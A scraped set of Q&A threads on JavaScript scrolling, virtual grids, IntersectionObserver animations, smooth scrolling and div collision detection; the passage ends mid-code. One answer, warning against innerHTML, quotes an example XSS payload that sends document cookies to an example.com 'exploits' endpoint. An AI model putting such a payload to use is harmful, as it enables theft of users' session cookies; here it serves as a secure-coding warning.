Scroll algorithm -- improving fetch and display of data - javascript

I would like to set out somewhat of a theoretical problem.
Suppose that I have an infinite scroll, implemented something like as described here: https://medium.com/frontend-journeys/how-virtual-infinite-scrolling-works-239f7ee5aa58. There's nothing fancy to it, suffice it to say that it is a table of data, say NxN, and the user can scroll down and to the right, like a spreadsheet, and it will only show the data in the current view plus minus a handle.
Now, let's also say that it takes approximately 10ms to "fetch and display" the data in that view, with a function such as:
get_data(start_col, end_col, start_row, end_row);
This loads instantly when clicking somewhere in the scroll bar or doing a 'slight scroll' to render the necessary data. However, let's also assume that for every 'unfinished fetch event', that it takes double the time to render the necessary view data (due to memory, gc, and a few other things). So, if I scroll from left-to-right in a slow deliberate fashion, I might generate 100+ scroll events that would trigger the loading of data -- at first there's zero noticeably delay. The fetch happens in under 10ms, but soon it starts taking 20ms, and then 40ms, and now we have something like a noticeable delay, until it will reach over a second to load the necessary data. Additionally, we cannot use something like a debounce/delay, as any delay will be apparent -- the data needs to load instantly when a user clicks/scrolls to a place in the grid.
What considerations would I need to take into account and what would a sample algorithm look like to accomplish this? Here is an example of the user interaction I'd like to have on the data, assuming a 10000 x 10000 spreadsheet (though Excel can load all the data at once) -- https://gyazo.com/0772f941f43f9d14f884b7afeac9f414.

I think you should not send a request at any scroll event. only if by this scroll the user reach the end of the scroll.
if(e.target.scrollHeight - e.target.offsetHeight === 0) {
// the element reach the end of vertical scroll
}
if(e.target.scrollWidth - e.target.offsetWidth === 0) {
// the element reach the end of horizontal scroll
}
You also can specify a width which will defined as close enough for fetch a new data (e.i. e.target.scrollHeight - e.target.offsetHeight <= 150)

Theory and practice: In theory there is no difference between theory
and practice, but in practice there is.
Theory: everything is clear, but nothing works;
Practice: everything works, but nothing is clear;
Sometimes theory meets practice: nothing works and nothing is clear.
Sometimes the best approach is a prototype, and finding the problem interesting, I spent a little time cooking one up, although as a prototype it admittedly has many warts...
In short, the easiest solution to limit a backlog of data fetches appears to simply be setting up a poor man's mutex within the routine that's performing the fetching. (In the code example below, the simulated fetch function is simulateFetchOfData.) The mutex involves setting up a variable outside the function scope such that if false, the fetch is open for use, and if true the fetch is currently underway.
That is, when the user adjusts the horizontal or vertical slider to initiate a fetch of data, the function that fetches the data first checks to see if global variable mutex is true (ie, a fetch is already underway), and if so, simply exits. If mutex is not true, then it sets mutex to true, and then continues to perform the fetch. And of course, at the end of the fetch function, mutex is set to false, such that the next user input event will then pass through the mutex check up front, and perform another fetch...
A couple of notes about the prototype.
Within the simulateFetchOfData function, there is sleep(100) configured as a Promise which simulates the delay in retrieving the data. This is sandwiched with some logging to the console. If you remove the mutex check, you will see with the console open that while moving the sliders, many instances of simulateFetchOfData are initiated and put into suspense waiting on the sleep (ie, the simulated fetch of data) to resolve, whereas with the mutex check in place, only one instance is initiated at any one time.
The sleep time can be adjusted to simulate greater network or database latency, so that you can get a feel for the user experience. Eg, networks I'm on experience a 90ms latency for comms across the continental US.
One other notable is that when finishing a fetch and after resetting mutex to false, a check is performed to determine if the horizontal and vertical scroll values are in alignment. If not, another fetch is initiated. This ensures that despite a number of scroll events possibly not firing due to the fetch being busy, that at minimum the final scroll values are addressed by triggering one final fetch.
The simulated cell data is simply a string value of row-dash-column number. Eg, "555-333" indicates row 555 column 333.
A sparse array named buffer is used to hold the "fetched" data. Examining it in the console will reveal many "empty x XXXX" entries. The simulateFetchOfData function is set up such that if the data already is held in buffer, then no "fetch" is performed.
(To view the prototype, simply copy and paste the entire code into a new text file, rename to ".html", and open in a browser. EDIT: Has been tested on Chrome and Edge.)
<html><head>
<script>
function initialize() {
window.rowCount = 10000;
window.colCount = 5000;
window.buffer = [];
window.rowHeight = Array( rowCount ).fill( 25 ); // 20px high rows
window.colWidth = Array( colCount ).fill( 70 ); // 70px wide columns
var cellAreaCells = { row: 0, col: 0, height: 0, width: 0 };
window.contentGridCss = [ ...document.styleSheets[ 0 ].rules ].find( rule => rule.selectorText === '.content-grid' );
window.cellArea = document.getElementById( 'cells' );
// Horizontal slider will indicate the left most column.
window.hslider = document.getElementById( 'hslider' );
hslider.min = 0;
hslider.max = colCount;
hslider.oninput = ( event ) => {
updateCells();
}
// Vertical slider will indicate the top most row.
window.vslider = document.getElementById( 'vslider' );
vslider.max = 0;
vslider.min = -rowCount;
vslider.oninput = ( event ) => {
updateCells();
}
function updateCells() {
// Force a recalc of the cell height and width...
simulateFetchOfData( cellArea, cellAreaCells, { row: -parseInt( vslider.value ), col: parseInt( hslider.value ) } );
}
window.mutex = false;
window.lastSkippedRange = null;
window.addEventListener( 'resize', () => {
//cellAreaCells.height = 0;
//cellAreaCells.width = 0;
cellArea.innerHTML = '';
contentGridCss.style[ "grid-template-rows" ] = "0px";
contentGridCss.style[ "grid-template-columns" ] = "0px";
window.initCellAreaSize = { height: document.getElementById( 'cellContainer' ).clientHeight, width: document.getElementById( 'cellContainer' ).clientWidth };
updateCells();
} );
window.dispatchEvent( new Event( 'resize' ) );
}
function sleep( ms ) {
return new Promise(resolve => setTimeout( resolve, ms ));
}
async function simulateFetchOfData( cellArea, curRange, newRange ) {
//
// Global var "mutex" is true if this routine is underway.
// If so, subsequent calls from the sliders will be ignored
// until the current process is complete. Also, if the process
// is underway, capture the last skipped call so that when the
// current finishes, we can ensure that the cells align with the
// settled scroll values.
//
if ( window.mutex ) {
lastSkippedRange = newRange;
return;
}
window.mutex = true;
//
// The cellArea width and height in pixels will tell us how much
// room we have to fill.
//
// row and col is target top/left cell in the cellArea...
//
newRange.height = 0;
let rowPixelTotal = 0;
while ( newRange.row + newRange.height < rowCount && rowPixelTotal < initCellAreaSize.height ) {
rowPixelTotal += rowHeight[ newRange.row + newRange.height ];
newRange.height++;
}
newRange.width = 0;
let colPixelTotal = 0;
while ( newRange.col + newRange.width < colCount && colPixelTotal < initCellAreaSize.width ) {
colPixelTotal += colWidth[ newRange.col + newRange.width ];
newRange.width++;
}
//
// Now the range to acquire is newRange. First, check if this data
// is already available, and if not, fetch the data.
//
function isFilled( buffer, range ) {
for ( let r = range.row; r < range.row + range.height; r++ ) {
for ( let c = range.col; c < range.col + range.width; c++ ) {
if ( buffer[ r ] == null || buffer[ r ][ c ] == null) {
return false;
}
}
}
return true;
}
if ( !isFilled( buffer, newRange ) ) {
// fetch data!
for ( let r = newRange.row; r < newRange.row + newRange.height; r++ ) {
buffer[ r ] = [];
for ( let c = newRange.col; c < newRange.col + newRange.width; c++ ) {
buffer[ r ][ c ] = `${r}-${c} data`;
}
}
console.log( 'Before sleep' );
await sleep(100);
console.log( 'After sleep' );
}
//
// Now that we have the data, let's load it into the cellArea.
//
gridRowSpec = '';
for ( let r = newRange.row; r < newRange.row + newRange.height; r++ ) {
gridRowSpec += rowHeight[ r ] + 'px ';
}
gridColumnSpec = '';
for ( let c = newRange.col; c < newRange.col + newRange.width; c++ ) {
gridColumnSpec += colWidth[ c ] + 'px ';
}
contentGridCss.style[ "grid-template-rows" ] = gridRowSpec;
contentGridCss.style[ "grid-template-columns" ] = gridColumnSpec;
cellArea.innerHTML = '';
for ( let r = newRange.row; r < newRange.row + newRange.height; r++ ) {
for ( let c = newRange.col; c < newRange.col + newRange.width; c++ ) {
let div = document.createElement( 'DIV' );
div.innerText = buffer[ r ][ c ];
cellArea.appendChild( div );
}
}
//
// Let's update the reference to the current range viewed and clear the mutex.
//
curRange = newRange;
window.mutex = false;
//
// One final step. Check to see if the last skipped call to perform an update
// matches with the current scroll bars. If not, let's align the cells with the
// scroll values.
//
if ( lastSkippedRange ) {
if ( !( lastSkippedRange.row === newRange.row && lastSkippedRange.col === newRange.col ) ) {
lastSkippedRange = null;
hslider.dispatchEvent( new Event( 'input' ) );
} else {
lastSkippedRange = null;
}
}
}
</script>
<style>
/*
".range-slider" adapted from... https://codepen.io/ATC-test/pen/myPNqW
See https://www.w3schools.com/howto/howto_js_rangeslider.asp for alternatives.
*/
.range-slider-horizontal {
width: 100%;
height: 20px;
}
.range-slider-vertical {
width: 20px;
height: 100%;
writing-mode: bt-lr; /* IE */
-webkit-appearance: slider-vertical;
}
/* grid container... see https://www.w3schools.com/css/css_grid.asp */
.grid-container {
display: grid;
width: 95%;
height: 95%;
padding: 0px;
grid-gap: 2px;
grid-template-areas:
topLeft column topRight
row cells vslider
botLeft hslider botRight;
grid-template-columns: 50px 95% 27px;
grid-template-rows: 20px 95% 27px;
}
.grid-container > div {
border: 1px solid black;
}
.grid-topLeft {
grid-area: topLeft;
}
.grid-column {
grid-area: column;
}
.grid-topRight {
grid-area: topRight;
}
.grid-row {
grid-area: row;
}
.grid-cells {
grid-area: cells;
}
.grid-vslider {
grid-area: vslider;
}
.grid-botLeft {
grid-area: botLeft;
}
.grid-hslider {
grid-area: hslider;
}
.grid-botRight {
grid-area: botRight;
}
/* Adapted from... https://medium.com/evodeck/responsive-data-tables-with-css-grid-3c58ecf04723 */
.content-grid {
display: grid;
overflow: hidden;
grid-template-rows: 0px; /* Set later by simulateFetchOfData */
grid-template-columns: 0px; /* Set later by simulateFetchOfData */
border-top: 1px solid black;
border-right: 1px solid black;
}
.content-grid > div {
overflow: hidden;
white-space: nowrap;
border-left: 1px solid black;
border-bottom: 1px solid black;
}
</style>
</head><body onload='initialize()'>
<div class='grid-container'>
<div class='topLeft'> TL </div>
<div class='column' id='columns'> column </div>
<div class='topRight'> TR </div>
<div class='row' id = 'rows'> row </div>
<div class='cells' id='cellContainer'>
<div class='content-grid' id='cells'>
Cells...
</div>
</div>
<div class='vslider'> <input id="vslider" type="range" class="range-slider-vertical" step="1" value="0" min="0" max="0"> </div>
<div class='botLeft'> BL </div>
<div class='hslider'> <input id="hslider" type="range" class="range-slider-horizontal" step="1" value="0" min="0" max="0"> </div>
<div class='botRight'> BR </div>
</div>
</body></html>
Again, this is a prototype to prove out a means to limit a backlog of unnecessary data calls. If this were to be refactored for production purposes, many areas will require addressing, including: 1) reducing the use of the global variable space; 2) adding row and column labels; 3) adding buttons to the sliders for scrolling individual rows or columns; 4) possibly buffering related data, if data calculations are required; 5) etc...

There are some things that could be done. I see it as a two-level interlayer placed between the data request procedure and the user scroll event.
1. Delay scroll event processing
You are right, debounce is not our friend in the scroll related issues. But there is the right way to reduce the number of firings.
Use the throttled version of scroll event handler which will be invoked at most once per every fixed interval. You may use lodash throttle or implement own version [1], [2], [3]. Set 40 - 100 ms as an interval value. You will need also to set trailing option so that the very last scroll event be processed regardless of the timer interval.
2. Smart data flow
When the scroll event handler is invoked, the data request process should be initiated. As you mentioned, doing it each time a scroll event happens (even if we are done with throttling) may cause time lags. There might be some common strategies: 1) do not request the data if there is another pending request; 2) request the data no more than one time per some interval; 3) cancel previous pending request.
The first and the second approaches are no more than the debouncing and the throttling at the data flow level. Debounce could be implemented with minimal efforts with just one condition before initiating the request + one additional request in the end. But I believe that throttle is more appropriate form the UX point of view. Here you will need to provide some logic, and do not forget about trailing option as it should be in game.
The last approach (the request cancellation) is also UX friendly but less careful than the throttling one. You start the request anyway but throw away its result if another request had been started after this one. You also may try to abort the request if you are using fetch.
In my opinion the best option would be to combine (2) and (3) strategies, so you request the data only if some fixed time interval has passed since the initiating of the previous request AND you cancel the request if another one was initiated after.

There's no specific algorithm that answers this question, but in order to get no buildup of delay you need to ensure two things:
1. No memory leaks
Be absolutely sure that nothing in your app is creating new instances of objects, classes, arrays, etc. The memory should be the same after scrolling around for 10 seconds as it is for 60 seconds, etc. You can pre-allocate data structures if you need to (including arrays), and then re-use them:
2. Constant re-use of data structures
This is common in infinite scroll pages. In an infinite scroll image gallery that shows at most 30 images on screen at one time, there might actually be only 30-40 <img> elements that get created. These are then used and re-used as the users scrolls, so that no new HTML elements need to be created (or destroyed, and therefore garbage-collected). Instead these images get new source URLs and new positions, and the user can keep on scrolling, but (unbeknownst to them) they always see the same DOM elements over and over.
If you're using canvas, you won't be using DOM elements to display this data, but the theory is the same, its just the data structures are your own.

Related

Scroll horizontal scroll bar automatically from left to right [duplicate]

I thought this would be fairly easy but I'm stuck.
My code is executing and ignoring the setTimeout.
I am getting the scroll width of my element, then saying while i is less than the width (flavoursScrollWidth), move the horizontal scroll 1px along every second.
That isn't what is happening though, it just executes each pixel movement almost instantly.
I also tried taking the code out of the load event and taking the setTimeout out of the while loop. Then creating a function containing the while loop, and calling the function in a setInterval. Didn't help.
const flavoursContainer = document.getElementById("flavoursContainer")
const flavoursScrollWidth = flavoursContainer.scrollWidth
window.addEventListener("load", () => {
let i = 0
while (i < flavoursScrollWidth) {
setTimeout(flavoursContainer.scrollTo(i, 0), 1000)
console.log(i)
i++;
}
})
.container {
width:300px;
overflow-x:scroll;
white-space: nowrap;
}
<div class="container" id="flavoursContainer">
This is a really long sentence to demo my code, it's just going on and on. Still going. I should have used some default placeholder text but I've started now so I'll keep going.
</div>
I would suggest using setInterval rather than setTimeout and just checking if the container is scrolled to the end. I also found that if you scroll faster, like every 15ms, you get a smoother user experience.
const flavoursContainer = document.getElementById('flavoursContainer');
const flavoursScrollWidth = flavoursContainer.scrollWidth;
window.addEventListener('load', () => {
self.setInterval(() => {
if (flavoursContainer.scrollLeft !== flavoursScrollWidth) {
flavoursContainer.scrollTo(flavoursContainer.scrollLeft + 1, 0);
}
}, 15);
});
.container {
width: 300px;
overflow-x: scroll;
white-space: nowrap;
background-color: #fff;
}
<div class="container" id="flavoursContainer">
This is a really long sentence to demo my code, it's just going on and on. Still going. I should have used some default placeholder text but I've started now so I'll keep going.
</div>

Each new animated element with IntersectionObserver gets an unwanted delay

I am using IntersectionObserver to animate every h1 on scroll.
The problem, as you can see in the snippet, is that the animation triggers every time for every h1. This means that every new animation of the intersecting h1 needs to wait for the previous ones to be finished and the result is basically a sort of incremental delay for each new entry.target. That's not what I want.
I tried to remove the anim-text class before and after unobserving the entry.target, but it didn't work.
I think the problem is in the forEach loop inside the //TEXT SPLITTING section, but all my efforts didn't solve the problem.
Thanks in advance for your help!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
Let's simplify a bit here, because you're showing way more code than necessary. Also, you're doing some things in a bit of an odd way, so a few tips as well.
You had an if (...) { return } else ..., which doesn't need an else scoping: either the function returns, or we just keep going.
Rather than checking for "not intersecting" and then returning, instead check for insersecting and then run.
You're using string composition using +: stop using that and start using modern templating strings. So instead of "a" + b + "c", you use `a${b}c`. No more +, no more bugs relating to string composition.
You're using .innerHTML assignment: this is incredibly dangerous, especially if someone else's script updated your heading to be literal HTML code like <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)"> or something. Never use innerHTML, use the normal DOM functions (createElement, appendChild, etc).
You were using a lot of const thing = arrow function without any need for this preservation: just make those normal functions, and benefit from hoisting (all normal functions are bound to scope before any code actually runs)
When using an observer, unobserver before you run the code that needs to kick in for an observed entry, especially if you're running more than a few lines of code. It's not fool proof, but does make it far less likely your entry kicks in a second time when people quicly swipe or scroll across your element.
And finally, of course, the reason your code didn't work: you were selecting all .anim-text span elements. Including headings you already processed. So when the second one scrolled into view, you'd select all span in both the first and second heading, then stagger-animate their letters. Instead, you only want to stagger the letters in the current heading, so given them an id and then query select using #headingid span instead.
However, while 7 sounds like the fix, thanks to how modern text works you still have a potential bug here: there is no guarantee that a word looks the same as "the collection of the letters that make it up", because of ligatures. For example, if you use a font that has a ligature that turns the actual string => into the single glyph ⇒ (like several programming fonts do) then your code will do rather the wrong thing.
But that's not necessarily something to fix right now, more something to be mindful of. Your code does not universally work, but it might be good enough for your purposes.
So with all that covered, let's rewrite your code a bit, throw away the parts that aren't really relevant to the problem, and of course most importantly, fix things:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>

Chrome smooth scroll and requestAnimationFrame?

I have built a drag-drop autoscroller where the user drags and element over a hidden div which triggers the scrolling action of the scrollable div. I am using scrollBy({top: <val>, behavior: 'smooth'} to get smooth scrolling and requestAnimationFrame to prevent the function from calling too often. This works fine in Firefox and should be supported in Chrome natively according to caniuse; however, it fails to work properly in chrome. It only fires the event once when the user leaves the hidden div. No errors in the console. console.log() indicates that the function containing the scrollBy() is being called. If I remove behavior: 'smooth' it works, but of course no smooth scrolling. same result if I remove the option and set the css scroll-behavior: smooth on the scrollable div. I'm at a complete loss. MWE of the scroll function (this is in a Vue app, so any this.'s are stored in a data object.
scroll: function () {
if ( this.autoScrollFn ) cancelAnimationFrame( this.autoScrollFn )
// this.toScroll is a reference to the HTMLElement
this.toScroll.scrollBy( {
top: 100,
behavior: 'smooth'
}
this.autoscrollFn = requestAnimationFrame( this.scroll )
}
Not sure what you did expect from your requestAnimationFrame call to do here, but here is what should happen:
scrollBy having its behavior set to smooth should actually start scrolling the target element only at next painting frame, just before the animation frames callback get executed (step 7 here).
Just after this first step of the smooth scrolling, your animation frame callback will fire (step 11), disabling the first smooth scrolling by starting a new one (as defined here).
repeat until it reaches the top-max, since you are never waiting enough for the smooth 100px scrolling to happen entirely.
This will indeed move in Firefox, until it reaches the end, because this browser has a linear smooth scrolling behavior and scrolls from the first frame.
But Chrome has a more complicated ease-in-out behavior, which will make the first iteration scroll by 0px. So in this browser, you will actually end up in an infinite loop, since at each iteration, you will have scrolled by 0, then disable the previous scrolling and ask again to scroll by 0, etc. etc.
const trigger = document.getElementById( 'trigger' );
const scroll_container = document.getElementById( 'scroll_container' );
let scrolled = 0;
trigger.onclick = (e) => startScroll();
function startScroll() {
// in Chome this will actually scroll by some amount in two painting frames
scroll_container.scrollBy( { top: 100, behavior: 'smooth' } );
// this will make our previous smooth scroll to be aborted (in all supporting browsers)
requestAnimationFrame( startScroll );
scroll_content.textContent = ++scrolled;
};
#scroll_container {
height: 50vh;
overflow: auto;
}
#scroll_content {
height: 5000vh;
background-image: linear-gradient(to bottom, red, green);
background-size: 100% 100px;
}
<button id="trigger">click to scroll</button>
<div id="scroll_container">
<div id="scroll_content"></div>
</div>
So if what you wanted was actually to avoid calling multiple times that scrolling function, your code would be broken not only in Chrome, but also in Firefox (it won't stop scrolling at after 100px there either).
What you need in this case is rather to wait until the smooth scroll ended.
There is already a question here about detecting when a smooth scrollIntoPage ends, but the scrollBy case is a bit different (simpler).
Here is a method which will return a Promise letting you know when the smooth-scroll ended (resolving when successfully scrolled to destination, and rejecting when aborted by an other scroll). The basic idea is the same as the one for this answer of mine:
Start a requestAnimationFrame loop, checking at every steps of the scrolling if we reached a static position. As soon as we stayed two frames in the same position, we assume we've reached the end, then we just have to check if we reached the expected position or not.
With this, you just have to raise a flag until the previous smooth scroll ends, and when done, lower it down.
const trigger = document.getElementById( 'trigger' );
const scroll_container = document.getElementById( 'scroll_container' );
let scrolling = false; // a simple flag letting us know if we're already scrolling
trigger.onclick = (evt) => startScroll();
function startScroll() {
if( scrolling ) { // we are still processing a previous scroll request
console.log( 'blocked' );
return;
}
scrolling = true;
smoothScrollBy( scroll_container, { top: 100 } )
.catch( (err) => {
/*
here you can handle when the smooth-scroll
gets disabled by an other scrolling
*/
console.error( 'failed to scroll to target' );
} )
// all done, lower the flag
.then( () => scrolling = false );
};
/*
*
* Promised based scrollBy( { behavior: 'smooth' } )
* #param { Element } elem
** ::An Element on which we'll call scrollIntoView
* #param { object } [options]
** ::An optional scrollToOptions dictionary
* #return { Promise } (void)
** ::Resolves when the scrolling ends
*
*/
function smoothScrollBy( elem, options ) {
return new Promise( (resolve, reject) => {
if( !( elem instanceof Element ) ) {
throw new TypeError( 'Argument 1 must be an Element' );
}
let same = 0; // a counter
// pass the user defined options along with our default
const scrollOptions = Object.assign( {
behavior: 'smooth',
top: 0,
left: 0
}, options );
// last known scroll positions
let lastPos_top = elem.scrollTop;
let lastPos_left = elem.scrollLeft;
// expected final position
const maxScroll_top = elem.scrollHeight - elem.clientHeight;
const maxScroll_left = elem.scrollWidth - elem.clientWidth;
const targetPos_top = Math.max( 0, Math.min( maxScroll_top, Math.floor( lastPos_top + scrollOptions.top ) ) );
const targetPos_left = Math.max( 0, Math.min( maxScroll_left, Math.floor( lastPos_left + scrollOptions.left ) ) );
// let's begin
elem.scrollBy( scrollOptions );
requestAnimationFrame( check );
// this function will be called every painting frame
// for the duration of the smooth scroll operation
function check() {
// check our current position
const newPos_top = elem.scrollTop;
const newPos_left = elem.scrollLeft;
// we add a 1px margin to be safe
// (can happen with floating values + when reaching one end)
const at_destination = Math.abs( newPos_top - targetPos_top) <= 1 &&
Math.abs( newPos_left - targetPos_left ) <= 1;
// same as previous
if( newPos_top === lastPos_top &&
newPos_left === lastPos_left ) {
if( same ++ > 2 ) { // if it's more than two frames
if( at_destination ) {
return resolve();
}
return reject();
}
}
else {
same = 0; // reset our counter
// remember our current position
lastPos_top = newPos_top;
lastPos_left = newPos_left;
}
// check again next painting frame
requestAnimationFrame( check );
}
});
}
#scroll_container {
height: 50vh;
overflow: auto;
}
#scroll_content {
height: 5000vh;
background-image: linear-gradient(to bottom, red, green);
background-size: 100% 100px;
}
.as-console-wrapper {
max-height: calc( 50vh - 30px ) !important;
}
<button id="trigger">click to scroll (spam the click to test blocking feature)</button>
<div id="scroll_container">
<div id="scroll_content"></div>
</div>

Refresh a page with new div grid

I'm trying to make a grid of divs that, when mouseentered change color. Then, when the a button is clicked and new number is entered to then generate a new grid with a side length of that many divs. I'm new to javascript and jQuery and can't figure out why my code won't generate the divs.
here's my script
$('.block').mouseenter(function () {
$(this).css('background-color', 'black');
});
function newGrid(x) {
for (i = 0; i > x * x; i++) {
$('.container').append('<div class="block"></div>');
}
$('.block').height(960 / );
$('.block').width(960 / );
}
function clearContainer() {
$('.block').remove();
}
function askGrid() {
var num = prompt("enter box length");
clearContainer();
newGrid(num);
}
function firstGrid() {
newGrid(16);
$('#reset').click(function () {
askGrid();
});
}
$(document).ready(firstGrid);
here's my css
.container {
margin: 30px auto 0px auto;
height: 960px;
width: 960px;
border: 1px solid black;
}
.block {
border:0px;
margin:0px;
padding:0px;
float:left;
background-color: yellow;
}
#reset {
display:block;
padding:5px 20px;
margin:0 auto;
}
html has a css reset and in the body i have a button with id="reset" and a div with class="container"
thanks!
Several problems:
The slash when setting height and width is wrong (either is 960 divided by something or just 960)
The for loop is wrong: it should be
for (i = 0; i < x * x; i++)
And the css thing is not going to apply since there are no .block elements when executed. You should probably move it into newGrid
You have a bug here for (i = 0; i > x * x; i++) it should be i < x.
And im not sure what this is
$('.block').height(960 / );
$('.block').width(960 / );
you can set the height and width respectively in the css
Also you need to this for the mouseenter event to work
$('.container').on('mouseenter','.block',function () {
$(this).css('background-color', 'black');
});
Since the items added are dynamic.
Welcome to jquery, a world of excitement and pain!
This code
$('.block').mouseenter(function () {
$(this).css('background-color', 'black');
});
binds the hover function to all existing .block elements on the page when it is run. It's at the top of your script so it'll execute once, binding this property to all .block elements when the page loads, but not to .block elements created after. To fix this add it inside your "newGrid" function so it rebinds each new element as they are created.
In your loop, you want for (i = 1; i < x * x; i++), starting index from 1 rather than 0, or else you'll have an off by 1 error and create an extra box.
To set the proper heights of .block, you want to divide your .container's dimentions by x, the size of block:
$('.block').height(960 / x);
$('.block').width(960 / x);
The following are general programming tips:
As a good practice, functions should have a specific job and only do that job. I moved the clearContainer call to inside newGrid, because it should be the function that builds the new grid that clears the old one, not the one called askGrid. askGrid should do as it is named, and only ask for your new grid dimension.
You should do a validation on the number received through askGrid. If the user types something that isn't a number, or a negative number, or 0, you shouldn't start making boxes or newGrid will break. I added a loop to keep asking for a size until a proper dimension is provided, but you can chose your behaviour.
I changed the variable "x" to "block_length" since variables should be given names indicative of that they mean, so that there aren't a bunch of mysterious variables all over the place called x, y, z that you can't tell what they mean from a glance.
Demo in this fiddle!

jQuery/JavaScript collision detection

How to detect if two <div> elements have collided?
The two divs are simple coloured boxes travelling perpendicular to each other, so no complicated shapes or angles.
var overlaps = (function () {
function getPositions( elem ) {
var pos, width, height;
pos = $( elem ).position();
width = $( elem ).width();
height = $( elem ).height();
return [ [ pos.left, pos.left + width ], [ pos.top, pos.top + height ] ];
}
function comparePositions( p1, p2 ) {
var r1, r2;
r1 = p1[0] < p2[0] ? p1 : p2;
r2 = p1[0] < p2[0] ? p2 : p1;
return r1[1] > r2[0] || r1[0] === r2[0];
}
return function ( a, b ) {
var pos1 = getPositions( a ),
pos2 = getPositions( b );
return comparePositions( pos1[0], pos2[0] ) && comparePositions( pos1[1], pos2[1] );
};
})();
$(function () {
var area = $( '#area' )[0],
box = $( '#box0' )[0],
html;
html = $( area ).children().not( box ).map( function ( i ) {
return '<p>Red box + Box ' + ( i + 1 ) + ' = ' + overlaps( box, this ) + '</p>';
}).get().join( '' );
$( 'body' ).append( html );
});
body {
padding: 30px;
color: #444;
font-family: Arial, sans-serif;
}
h1 {
font-size: 24px;
margin-bottom: 20px;
}
#area {
border: 2px solid gray;
width: 500px;
height: 400px;
position: relative;
}
#area > div {
background-color: rgba(122, 122, 122, 0.3);
position: absolute;
text-align: center;
font-size: 50px;
width: 60px;
height: 60px;
}
#box0 {
background-color: rgba(255, 0, 0, 0.5) !important;
top: 150px;
left: 150px;
}
#box1 {
top: 260px;
left: 50px;
}
#box2 {
top: 110px;
left: 160px;
}
#box3 {
top: 200px;
left: 200px;
}
#box4 {
top: 50px;
left: 400px;
}
p {
margin: 5px 0;
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
<h1>Detect overlapping with JavaScript</h1>
<div id="area">
<div id="box0"></div>
<div id="box1">1</div>
<div id="box2">2</div>
<div id="box3">3</div>
<div id="box4">4</div>
</div>
General idea - you get the offset and dimension of the boxes and check whether they overlap.
If you want it to update, you can use setInterval:
function detectOverlapping() {
// code that detects if the box overlaps with a moving box
setInterval(detectOverlapping, 25);
}
detectOverlapping();
Also, note that you can optimize the function for your specific example.
you don't have to read the box dimensions repeatedly (like I do in my code) since they are fixed. You can read them on page load (into a variable) and then just read the variable
the horizontal position of the little box does not change (unless the user resizes the window). The vertical positions of the car boxes does not change. Therefore, those values also do not have to be read repeatedly, but can also be stored into variables.
you don't have to test whether the little box overlaps with all car boxes at all times. You can - based on its vertical position - figure out in which lane the box is currently, and test only the specific car box from that lane.
I believe this is the easiest way:
https://plugins.jquery.com/overlaps/
Here is another one, in German:
http://www.48design.de/news/2009/11/20/kollisionsabfrage-per-jquery-plugin-update-v11-8/
I'd give those a try.
--UPDATE--
I can't really spend anytime on it right now, but i can when i get home if no one answers but you;d do something like:
setInterval(function(){
//First step would be to get the offset of item 1 and item 2
//Second would be to get the width of each
//Third would be to check if the offset+width ever overlaps
//the offset+width of the 2nd
//Fourth would be, if so, do X or set a class...
},10);
Its a little late on this but I guess you could use this approach that I tried when I was faced with the similar situation. The advantage here is that there are no additional plugin, or scripts involved and neither do you have to introduce performance hungry polling into it.
This technique uses the the built-in methods and events that Jquery's droppable has to offer.
Ok, enough said, here's the solution technique:
Say if you have two elements (images in my case) and you don't want them to overlap or detect when they do, make the two elements a droppable and make them to 'accept' each other:
$([div1, div2]).droppable(CONFIG_COLLISSION_PREVENTION_DROPPABLE);
The 'CONFIG_COLLISSION_PREVENTION_DROPPABLE' looks like this:
var originatingOffset = null;
CONFIG_COLLISSION_PREVENTION_DROPPABLE = {
tolerance: "touch",
activate : function (event, ui) {
// note the initial position/offset when drag starts
// will be usedful in drop handler to check if the move
